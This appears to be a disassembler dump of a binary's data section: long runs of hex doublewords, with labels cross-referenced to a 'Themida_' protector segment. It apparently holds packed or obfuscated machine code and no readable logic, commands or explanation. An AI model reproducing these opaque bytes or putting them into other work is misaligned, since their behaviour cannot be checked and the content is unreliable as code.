		dd 83660617h, 0A750938h, 14CD85C7h, 10614h, 95FF0000h
		dd 6140C85h, 0FF25h, 5F88300h, 85C70A73h, 6141D79h, 1
		dd 2049B531h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 4CAE2FC3h, 0BDCCC21Fh, 0F2810FBFh
		dd 64DBB2DCh, 0B6CF8B66h, 0B3BD8058h, 61704h, 2D840Fh
		dd 95030000h, 6143131h,	6BDB589h, 0BD830614h, 617095Dh
		dd 1B840F00h, 60000000h, 8E9h, 6673B000h, 826B61CCh, 66BCBB39h
		dd 0E9610AE3h, 19C1h, 0BD83D78Ah, 61414CDh, 0B5850F00h
		dd 8D000000h, 17047D85h, 10E806h, 16A30000h, 4554D1D3h
		dd 0F56F5CC8h, 25D00935h, 0F566D20h, 82h, 665A5A00h, 741CE181h
		dd 65BD3150h, 6A06142Ah, 0B5016001h, 6142CC9h, 85895061h
		dd 61418FDh, 8B006A5Ah,	1418E1BDh, 8A006A06h, 7595FFF1h
		dd 89061430h, 140565BDh, 0A7858906h, 66061704h,	9DE4EA81h
		dd 9523FF6Ah, 6140BE1h,	4A7B5FFh, 6A0617h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 929381C3h
		dd 0DD5ABECBh, 0F348099h, 78Fh,	81665200h, 5AF66EF7h, 15859D01h
		dd 95FF0614h, 6142B19h,	0F983BA66h, 0F8B8858Dh,	0BD8B0616h
		dd 6140395h, 619B589h, 0FF500614h, 142F9595h, 8902B106h
		dd 16F94285h, 0FEBF0F06h, 0F8C5858Dh, 6A0616h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FB042C3h, 0FF50D6B7h, 16F942B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 4595FF52h
		dd 8B06141Dh, 143215BDh, 0D5858906h, 8B06140Bh,	1419AD95h
		dd 33858D06h, 0F90616F9h, 1961958Bh, 81500614h,	6A5C12D2h
		dd 42B5FF75h, 6A0616F9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 438DC352h, 95FF5C7Fh
		dd 6141D45h, 0C398509h,	0CE80614h, 36000000h, 49BE58FAh
		dd 0EE21804Ch, 0E9A94A45h, 11h,	66832669h, 0C498DFDCh
		dd 0EB7C1F66h, 0BDAECEADh, 85895959h, 616F956h,	20CDBD29h
		dd 858D0614h, 616F912h,	500FE280h, 0B5FFCF8Ah, 616F942h
		dd 0C4D28166h, 89BD898Dh, 0FF06140Eh, 141D4595h, 11E906h
		dd 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h, 0E937CE54h
		dd 14h,	4DB56F9Ch, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h
		dd 0F94E8589h, 66B10616h, 0F905858Dh, 0DEB10616h, 3DB96650h
		dd 950951B2h, 6140F71h,	42B5FF5Ah, 0E80616F9h, 0Ch, 9F331EB4h
		dd 0BE602FB0h, 0A878C801h, 0F18D8Bh, 0FF5F0614h, 141D4595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 29768C7Eh, 30BBD40h, 1410A995h, 52858906h
		dd 0F0616F9h, 8B66CBB7h, 20858DCFh, 660616F9h, 502CDEBFh
		dd 165DB589h, 0B5FF0614h, 616F942h, 1625950Bh, 95FF0614h
		dd 6141D45h, 8589CF8Bh,	61402A9h, 0F8D4858Dh, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 251DE8C3h, 1E2A74EBh, 5E87829h, 1F000000h, 0C48BF716h
		dd 0CE8h, 93C4B300h, 0BDB3EE27h, 2D60D44Ch, 0A98D0373h
		dd 59061408h, 0A5BD895Fh, 50061421h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0E5C35545h,	7382D57Eh, 27BD04B8h
		dd 30919531h, 0B5FF0614h, 616F942h, 18CDBD89h, 95FF0614h
		dd 6141D45h, 152D8D33h,	85890614h, 616F946h, 1CD8D8Bh
		dd 0BD290614h, 6142201h, 0F8E3858Dh, 0BA660616h, 8B5008F4h
		dd 141951BDh, 42B5FF06h, 0E90616F9h, 6,	4B6757D4h, 95FF48ECh
		dd 6141D45h, 0E042C2BFh, 13E914h, 5A3A0000h, 35D7D491h
		dd 0D0945573h, 316F3806h, 0E075D33Ah, 4A858957h, 8A0616F9h
		dd 10468ECh, 0EAB50000h, 0F9DA858Dh, 0B5890616h, 6140021h
		dd 8D62B550h, 16FADE85h, 50D38B06h, 0FFFA8B66h,	142F5595h
		dd 0E9606006h, 0Dh, 0F5D83EC6h,	458A0A8h, 0A8AE93DDh, 7E973h
		dd 32960000h, 3DDAC975h, 0BD09611Bh, 614152Dh, 0FC08561h
		dd 685h, 0DD958900h, 80061410h,	1704B3BDh, 850F0006h, 2Ch
		dd 23A5BD0Bh, 0A2E90614h, 6A000015h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B9E5C350h
		dd 608A9F22h, 14CDBD83h, 0F000614h, 2185h, 299D8900h, 83061423h
		dd 17095DBDh, 840F0006h, 58h, 58D8B50h,	5906142Fh, 0F658D8Bh
		dd 858D0614h, 616F977h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C7C35545h, 7E0EA353h, 0E959AFC8h, 29959589h
		dd 1EE90614h, 81000015h, 0A33634CFh, 0B2BA6627h, 33E98Eh
		dd 85890000h, 6142F69h,	0F962858Dh, 6A0616h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A20C5CC3h
		dd 71DF4B38h, 0FB8B6692h, 6A50F5h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 3E4C1FC3h, 0F9DA858Dh
		dd 8D230616h, 61424D5h,	5E950h,	8C450000h, 836057E7h, 1414CDBDh
		dd 840F0006h, 67h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0E6C35040h, 9D5BD181h, 858D77CBh, 616FB00h
		dd 1A8C0Fh, 8D0F0000h, 14h, 0FE9h, 0E8110800h, 693B5CD4h
		dd 0CDAE9E4Bh
		db 9Fh,	6Ah, 8Eh
off_57AEE7	dd offset dword_445750+91C5h ; DATA XREF: Themida_:00548FE0o
					; Themida_:00549AB0o
		align 4
		dd 12E900h, 0FB250000h,	42DAACCEh, 6CEA4C2Bh, 13D580Fh
		dd 0FCD4C8CDh, 8DD2B70Fh, 16FAE985h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 99283625h
		dd 19E5F9E5h, 830F504Eh, 5, 0C024D9B9h,	38858D0Bh, 0F0616FBh
		dd 8950C8BFh, 141CB58Dh, 995FF06h, 66061415h, 831619B9h
		dd 6A10C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 393B0CC3h, 76C12A19h, 10E8D4h, 0F3150000h
		dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0AE9663Dh, 99000000h
		dd 0E96CACE8h, 0F60E0B10h, 0C08B5F39h, 9131BF66h, 30B1BD83h
		dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 0D3B8C08Bh
		dd 89000007h, 141A4985h, 3A9D8D06h, 0FF0616B7h,	83585BD3h
		dd 141AE1BDh, 17740006h, 0D3B85350h, 89000007h,	141A4985h
		dd 299D8D06h, 0FF0616B4h, 0F585BD3h, 9E9F8B7h, 3E000000h
		dd 0E75DB30Eh, 1528929Eh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0C8C283C3h, 29899D89h
		dd 0BD810614h, 616F962h, 6165726Fh, 0B1840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 89118BC3h, 4798F8E6h, 958B1651h, 6140619h, 1ACDBD31h
		dd 858D0614h, 616F9DAh,	17858D50h, 500616FBh, 0FB38858Dh
		dd 0FF500616h, 14150995h, 0CC48306h, 1A5985C6h,	68440614h
		dd 96A3184Fh, 1145B5FFh, 858D0614h, 6143B13h, 0D88BD0FFh
		dd 0FB38858Dh, 0FF500616h, 62858DD3h, 500616F9h, 0F9DA858Dh
		dd 83500616h, 1414CDBDh, 8740006h, 0FB00858Dh, 6EB0616h
		dd 0FAE9858Dh, 8D500616h, 16FB3885h, 95FF5006h,	6141509h
		dd 6610C483h, 0AADFDF81h, 0FFCBBF0Fh, 140C8595h, 0F88B6606h
		dd 0FF25h, 0ACD68000h, 0F05F883h, 5D83h, 0CBBF0F00h, 1D7985C7h
		dd 10614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 6E242EC3h, 96858DF9h, 800616F9h
		dd 0B589DDF6h, 614221Dh, 74E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD83409Eh
		dd 61414CDh, 34840F00h,	0B5000000h, 0C1858D3Eh,	0F0616F9h
		dd 888h, 880F5700h, 0
		dd 2FE959h, 8A0F0000h, 13h, 0EE9h, 96BA1400h, 0C98CA7AAh
		dd 5048C203h, 8DCB0BFBh, 16F9A385h, 4D852906h, 52061404h
		dd 11B58953h, 59061414h, 0D685895Ah, 6A0616F9h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 918AC355h, 0D1958BA4h, 83061400h, 1414CDBDh,	850F0006h
		dd 28h,	83FE8B66h, 17095DBDh, 840F0006h, 2Ah, 13E9h, 0E160F800h
		dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah, 111CE9h
		dd 81666000h, 89EA8FC1h, 1414D19Dh, 3E96106h, 66000005h
		dd 0B4F6F181h, 0B799589h, 0C08B0614h, 12E9h, 9F683B00h
		dd 0DA71975Fh, 66527555h, 314EE7CDh, 833C17CBh,	1430B1BDh
		dd 9750006h, 1AE1BD83h,	74000614h, 8B535019h, 7D4B8C0h
		dd 85890000h, 6141A49h,	0B73A9D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6141AE1h, 50177400h,	7D4B853h, 85890000h, 6141A49h
		dd 0B4299D8Dh, 0D3FF0616h, 0F88B585Bh, 2C35B589h, 0C08B0614h
		dd 13E9h, 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h
		dd 7EEED8B1h, 0F003F68h, 12E800h, 0E1350000h, 22C9ADBCh
		dd 0CA225F04h, 31B322FEh, 9ECFDC36h, 0D953B3BFh, 6A5A40h
		dd 4840Fh, 0B9660000h, 6AC5C6h,	0D595FFF5h, 906140Bh, 140B3585h
		dd 6E906h, 9BAB0000h, 8DB13963h, 850FC085h, 1Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6EC35242h, 896B9C0Bh
		dd 16F95A85h, 0DDBD8B06h, 6A061416h, 29BD0900h,	6A06142Ch
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8D8B89ACh, 614319Dh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8905CFC3h
		dd 898D5252h, 1414A5BDh, 89006A06h, 1421BDB5h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0FEAAC353h, 0F7C78002h, 66567F02h, 0CD59EA81h
		dd 38858D5Ah, 6A0616FBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4B76C351h, 0BA6050EDh
		dd 65D330DAh, 13658589h, 6A610614h, 81958B01h, 6A061419h
		dd 890F6001h, 6, 0D298D8Bh, 0BD890614h,	61431F9h, 6AD78B61h
		dd 0ADBD8B01h, 68061410h, 0F01FFh, 0D21ABA66h, 14CDBD83h
		dd 0F000614h, 3784h, 0EE800h, 7FAC0000h, 57B6CD4Fh, 9145CF69h
		dd 0C799DA2Dh, 0B7858D59h, 0F0616F9h, 680h, 0E18D8B00h
		dd 8B061424h, 14265195h, 25E906h, 0BD8B0000h, 61404DDh
		dd 0F98D858Dh, 0DE80616h, 0D1000000h, 978FDAD3h, 0E0623C61h
		dd 0BD284ABAh, 33D9589h, 505A0614h, 312FBA66h, 0A5BD2950h
		dd 0FF061400h, 16F95AB5h, 0FFF08A06h, 16F94695h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0FF1AC1E6h, 0A70CCFBAh, 9529FC4Eh, 614007Dh,	850FC085h
		dd 2Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 0C0C35343h, 88BF6426h, 0E9095820h, 72h, 1A91BD89h, 85890614h
		dd 616F95Eh, 10E9h, 2135F00h, 8D55A283h, 0F599583Bh, 0BEB437BFh
		dd 5EB5FF0Dh, 6A0616F9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0BA96C351h,	0B9532820h
		dd 3671960h, 2A995FFh, 958B0614h, 61412C9h, 850FC085h
		dd 12h,	0C8F0Fh, 890F0000h, 6, 919BD8Bh, 106A0614h, 0F3CE680h
		dd 0BD83F9B7h, 61414CDh, 41840F00h, 8D000000h, 16F9B785h
		dd 6830F06h, 29000000h,	140825BDh, 36E906h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0E4FEC3h, 9B5958Bh, 0BD8B0614h, 6140FF5h, 0F98D858Dh
		dd 9D010616h, 61408E9h,	6810F50h, 8B000000h, 14054D95h
		dd 398D8906h, 0FF061410h, 16F95AB5h, 0CEBF0F06h, 0F95295FFh
		dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0BB2D78C3h, 9BEFCB69h, 2ABF6617h,	0FC08590h
		dd 0C85h, 6850F00h, 89000000h, 14095585h, 5E858906h, 290616F9h
		dd 142279B5h, 0E8006A06h, 14h, 0DF530368h, 0C3B3F489h
		dd 0EE7123FAh, 6BE94995h, 48F7ADCAh, 0D4D8D8Bh,	6A5A0614h
		dd 0D1B53100h, 0FF061412h, 16F95EB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0DA9E1FF8h, 0A2E8DF6Ch, 950B353Ch, 6141475h,	0AE9h
		dd 0CCFECC00h, 0E4047199h, 0FFA606A6h, 16F94A95h, 29850106h
		dd 85061425h, 1F850FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 68D3C350h
		dd 0B5FFC687h, 616F95Eh, 2E658589h, 0CE90614h, 0B5000000h
		dd 21B031C5h, 40C8F97Eh, 0FF753C62h, 1402A995h,	85D18B06h
		dd 2B850FC0h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0BE46C353h,	73687FAFh
		dd 0F1A4C69Eh, 2B39B529h, 6A0614h, 61D9589h, 80680614h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 752EC356h, 7A31ADDh, 6A036Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3D816BC3h, 0BD8BD270h, 6142659h, 29006AFCh, 14141D95h
		dd 1006A06h, 142281BDh,	0F98B6606h, 68h, 0BD958BC0h, 0FF061425h
		dd 16F9D6B5h, 118D8B06h, 0FF061408h, 14068195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 27C63317h, 0FFF8832Bh, 4BE850Fh, 0BE90000h, 58000000h
		dd 0C637716Ah, 16424733h, 85FF63FCh, 6170444h, 351DB501h
		dd 0BD830614h, 6170444h, 0C1840F02h, 0E9000003h, 13h, 430F7D37h
		dd 7BC23C41h, 10F0BEFh,	0E17498AFh, 8D9B774Dh, 5B243B85h
		dd 0C8B0F00h, 0E9000000h, 7, 0DA8DBAF5h, 0FFD97379h, 8DCAB1D0h
		dd 5B1E8E85h, 0E2816600h, 0D0FFFEA1h, 5800Fh, 66600000h
		dd 361F78Bh, 140CB18Dh,	8BC08B06h, 14199D95h, 0B1BD8306h
		dd 61430h, 0BD830975h, 6141AE1h, 50197400h, 0B8C08B53h
		dd 7D8h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh, 1AE1BD83h
		dd 74000614h, 0B8535017h, 7D8h,	1A498589h, 9D8D0614h, 616B429h
		dd 585BD3FFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	12C35545h, 0CDB58992h, 8B061431h, 0A5BD8BC0h, 6806141Dh
		dd 0F003Fh, 0A0D8D89h, 6A0614h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 9BC35747h, 0E2D1D925h, 85958BF2h
		dd 0F061431h, 583h, 8B665300h, 6A59FBh,	23959D89h, 95FF0614h
		dd 6140BD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0C0C35343h, 0F970EA68h,	0B3A6CB3Ah, 1655BD8Bh
		dd 0C0850614h, 535958Bh, 85890614h, 616F95Ah, 0C983F181h
		dd 0FF681D62h, 6A000F01h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h
		dd 258AC357h, 0D71224D2h, 0CDBD83B3h, 61414h, 3F840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 9B4722C3h, 8C85110Fh, 30358589h, 858D0614h
		dd 616F9B7h, 2C19BD23h,	12E90614h, 89000000h, 1426419Dh
		dd 8D858D06h, 8B0616F9h, 141BA595h, 0B5FF5006h,	616F95Ah
		dd 915958Bh, 95FF0614h,	616F952h, 20E59501h, 85890614h
		dd 616F95Eh, 0FBB70F56h, 4585C759h, 61402h, 83000000h
		dd 16F95EBDh, 840F0006h, 1A1h, 68D0Fh, 0B5890000h, 614109Dh
		dd 0FC3C858Dh, 6A0616h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 97A8C3h,	8B50B673h, 1409E18Dh, 68B0F06h
		dd 8B000000h, 14094195h, 66016A06h, 0B5FFCB8Bh,	616F95Eh
		dd 223D958Bh, 0C2810614h
		db 25h,	60h, 7Ah
byte_57BA7B	db 74h			; DATA XREF: Themida_:00549184o
		dd 0F95695FFh, 8D890616h, 61421F9h, 0F95EB5FFh,	0BD8B0616h
		dd 6142989h, 2A995FFh, 9D890614h, 61420FDh, 0F01FF68h
		dd 0BD83F500h, 61414CDh, 3E840F00h, 31000000h, 1424B99Dh
		dd 0B7858D06h, 6A0616F9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0F461C351h,	0ED60E2Bh
		dd 891D649Bh, 1545B529h, 22E90614h, 0B5000000h,	8D858D45h
		dd 600616F9h, 9E8h, 0E1491D00h,	0B1B0A188h, 0BF0F10E6h
		dd 0B58B5AFFh, 6141A5Dh, 8D335061h, 6142165h, 7E9h, 92313700h
		dd 0E6C739F1h, 0F95AB5FFh, 12E90616h, 0F4000000h, 0C9EB927h
		dd 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 5295FF2Eh, 660616F9h
		dd 96EFE281h, 0F95E8589h, 0BF660616h, 0B5FFDB2Dh, 616F95Eh
		dd 1A2D8D89h, 95FF0614h, 616F94Eh, 12E9h, 0A05CEB00h, 88C3C94Ch
		dd 57EA79C3h, 40DB82ADh, 0FFFCB37Fh, 16F95EB5h,	75BD2906h
		dd 0F061404h, 68Eh, 1ADA8100h, 0FF4C8AD9h, 1402A995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 7C0E7143h, 71C75A48h, 0F674E9F8h, 0F281FFFFh, 2C2489C8h
		dd 4A7B5FFh, 9D290617h,	6140A49h, 236195FFh, 860F0614h
		dd 3, 8BFE8B66h, 142A5D85h, 95895706h, 6140909h, 0C88B665Fh
		dd 562E9h, 9E900h, 7DAA0000h, 0DFD97B44h, 8DB1E9FFh, 16FC5CB5h
		dd 0E58D2906h, 8D06140Eh, 16A99A85h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0B4E6ADFh
		dd 1401ADBDh, 0E6E98106h, 8B629259h, 14241D8Dh,	81D0FF06h
		dd 0B0DEA1EAh, 0F006A7Ch, 95FFD2BFh, 6142EF9h, 8BF8BF0Fh
		dd 8E9F3h, 92330000h, 0B51242ABh, 858DDE12h, 616A99Ah
		dd 0E93BC180h, 0Eh, 54443865h, 13A0690Eh, 0E97D014Dh, 0D0FF8307h
		dd 2315BD8Bh, 6A0614h, 95FFD08Bh, 6142EF9h, 0E281C08Bh
		dd 249EB17Ah, 30B1BD83h, 75000614h, 0E1BD8309h,	6141Ah
		dd 53501974h, 0D9B8C08Bh, 89000007h, 141A4985h,	3A9D8D06h
		dd 0FF0616B7h, 83585BD3h, 141AE1BDh, 17740006h,	0D9B85350h
		dd 89000007h, 141A4985h, 299D8D06h, 0FF0616B4h,	0F8585BD3h
		dd 19DF8166h, 6AC08BCCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 77F2C356h, 0B9AB80F6h
		dd 66B370BDh, 0E58D8B50h, 8B061400h, 0BD8D23D8h, 53061404h
		dd 12F59D8Dh, 38B0614h,	438B0389h, 50438950h, 4409D8Dh
		dd 38B0617h, 6A5B0389h,	0FE800h, 8A110000h, 0A1530D14h
		dd 0BC6E8409h, 895B9030h, 1ABF66D8h, 8D0F5FFCh,	12h, 0C890Fh
		dd 6E80000h, 0A1000000h, 3EBE470Fh, 858D5F80h, 6170440h
		dd 52006A50h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8BB2C66Bh, 958B606Ah, 6142C4Dh, 12F5858Dh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 70AFA9C3h, 0F50A8F4h, 0F8Eh, 0AE900h, 89530000h
		dd 0A7D01BE0h, 62D28372h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6A2CC3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 82C35141h, 563873Bh
		dd 68AE41C5h, 1800h, 21BDB589h,	0E9530614h, 0Bh, 0EC34C62Eh
		dd 0D8456483h, 0FF133D22h, 140B6195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0E4950B6Dh, 0AE99551h, 0BE000000h, 2A20AC9Ch, 0A33AA132h
		dd 958951E7h, 6140A51h,	95FFFC5Fh, 6143081h, 0A7B5FFF9h
		dd 8B061704h, 1415E98Dh, 6195FF06h, 66061423h, 858DCA8Bh
		dd 61412F5h, 1D198589h,	408B0614h, 0C744B518h, 1421E185h
		dd 6, 0FABF0F00h, 14CDBD83h, 0F000614h,	4684h, 0EE800h
		dd 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh,	23F99D29h
		dd 0F590614h, 58Bh, 0DD5DBA00h,	8C3D32AEh, 0F000000h, 19F83h
		dd 0B5CCB900h, 23E9751Ah, 0F000000h, 68Dh, 2D9D8900h, 3D061423h
		dd 98h,	17E830Fh, 8B600000h, 140C1D9Dh,	4DB86606h, 858D6152h
		dd 5B243Bh, 2E218589h, 0D0FF0614h, 148D0Fh, 0FE90000h
		dd 1D000000h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh,	0D7814A78h
		dd 13E04D8Fh, 1E8E858Dh, 8589005Bh, 6140CB9h, 0D1C98166h
		dd 50D0FFC0h, 0E85BD09h, 0E85A0614h, 14h, 0B193EE47h, 2F74AEC7h
		dd 23E97164h, 47B5892Eh, 0A4ACE0A4h, 0FE8h, 0B1B17500h
		dd 0A0362D35h, 7CBD2366h, 0FB761E01h, 0CF5958Bh, 595F0614h
		dd 0BA66C08Bh, 0BD837AC8h, 61430B1h, 83097500h,	141AE1BDh
		dd 19740006h, 0C08B5350h, 0BC6B8h, 49858900h, 8D06141Ah
		dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 0BC6B8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
		dd 0D858958h, 8B06142Dh, 0EDBF60FEh, 8B1AA981h,	1416EDBDh
		dd 0C08B6106h, 38B0Fh, 0B70F0000h, 4D89BFFFh, 0F8836CE7h
		dd 29850FFFh, 0C7000000h, 140F2985h, 6,	0E9F08A00h, 0ECh
		dd 3A6B360h, 1403E18Dh,	31E96106h, 0F000000h, 0BD8BC9BFh
		dd 6142675h, 0F01F883h,	1F85h, 0E97AB600h, 0FFh, 6E8h
		dd 0E8F85600h, 0F263C05h, 68Eh,	8C0F00h, 5F000000h, 0FFF1BDE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A8203A4Ch, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EFBD7CC3h
		dd 8609E39Dh, 0BD83F585h, 61430B1h, 83097500h, 141AE1BDh
		dd 19740006h, 0C08B5350h, 7DDB8h, 49858900h, 8D06141Ah
		dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 7DDB8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
		dd 51F78158h, 665758D8h, 2A0F781h, 0DD80C08Bh, 217E9C9h
		dd 0D68B0000h, 244858Dh, 0A8B60617h, 16860Fh, 0AE80000h
		dd 24000000h, 0A1CE56CFh, 669F797Eh, 298D3370h,	59061423h
		dd 43C8589h, 0B5890617h, 61410C9h, 4FE9h, 0D5958B00h, 8D061405h
		dd 17004C85h, 54F28106h, 404EB221h, 48B0Fh, 0BA660000h
		dd 85895A82h, 617043Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 96C35646h, 9AB1FC0Ch,	2F98D89h, 95290614h
		dd 6142025h, 858D346Ah,	6140795h, 3CB5FF50h, 6A061704h
		dd 0C195FF00h, 83061402h, 840F07F8h, 168h, 0F6DB8C66h
		dd 850F04C3h, 102h, 1A5985C6h, 68560614h, 9CA8B852h, 1145B5FFh
		dd 858D0614h, 6143B13h,	46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
		dd 1704AF85h, 5985C606h, 4706141Ah, 18AC9B68h, 45B5FFECh
		dd 8D061411h, 143B1385h, 0FFD0FF06h, 0C6F08BD0h, 141A5985h
		dd 61684F06h, 0FFC62F26h, 143481B5h, 13858D06h,	0FF06143Bh
		dd 0AB9D8DD0h, 53061704h, 0FF56286Ah, 75C085D0h, 5985C600h
		dd 4106141Ah, 87649868h, 81B5FFDBh, 8D061434h, 143B1385h
		dd 89D0FF06h, 1704C885h, 5985C606h, 4C06141Ah, 0A4E7A468h
		dd 81B5FF80h, 8D061434h
		dd 143B1385h, 8BD0FF06h, 1704AF9Dh, 45B8D06h, 0B49D8D53h
		dd 53061704h, 0D0FF006Ah, 4AF9D8Bh, 3C70617h, 1, 20C43C7h
		dd 8B000000h, 1405F59Dh, 9985C706h, 61411h, 6A000000h
		dd 6A006A00h, 0AF9D8B00h, 53061704h, 0B5FF006Ah, 61704ABh
		dd 4C895FFh, 85C60617h,	6141A59h, 0F7976845h, 0B5FF92A5h
		dd 6140931h, 3B13858Dh,	0D0FF0614h, 26A006Ah, 8C66D0FFh
		dd 4C3F6DBh, 9D8B3275h,	61704AFh, 0C43C7h, 6A000000h, 8B006A00h
		dd 1704AF9Dh, 6A5306h, 4ABB5FFh, 95FF0617h, 61704C8h, 4ABB5FFh
		dd 95FF0617h, 6143081h,	95FF006Ah, 6142EF9h, 75858DF8h
		dd 29061738h, 142AC5BDh, 8D8B5006h, 614113Dh, 35FF64h
		dd 0FC000000h, 258964h,	0F000000h, 0BD83C9B7h, 6142309h
		dd 44840F00h, 0B2000000h, 0CDBD83BEh, 1061412h,	35850Fh
		dd 0BD800000h, 61708C8h, 28850F00h, 8B000000h, 14033D95h
		dd 1D6E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 336977C3h, 0CE8DBh, 4BBC0000h, 0F5E36963h
		dd 14EFFE41h, 0BD8986D0h, 61402D5h, 0FC0335Fh, 1B8Fh, 12E800h
		dd 59E30000h, 2E0ED305h, 686069CEh, 1BC158Ah, 0ACAA6D5Eh
		dd 5A62EA80h, 73F0F40h,	58F640Bh, 0
		dd 0E804C483h, 7, 724ED64Eh, 8B4044E4h,	140C51BDh, 6A5F06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0D18AB4C3h, 0FFFFB83h, 1184h, 34C28100h, 0E915919Ah
		dd 11Eh, 304D8D29h, 94E90614h, 66000000h, 8D8BFA8Bh, 6140C65h
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 173897EDh, 0B8838B06h
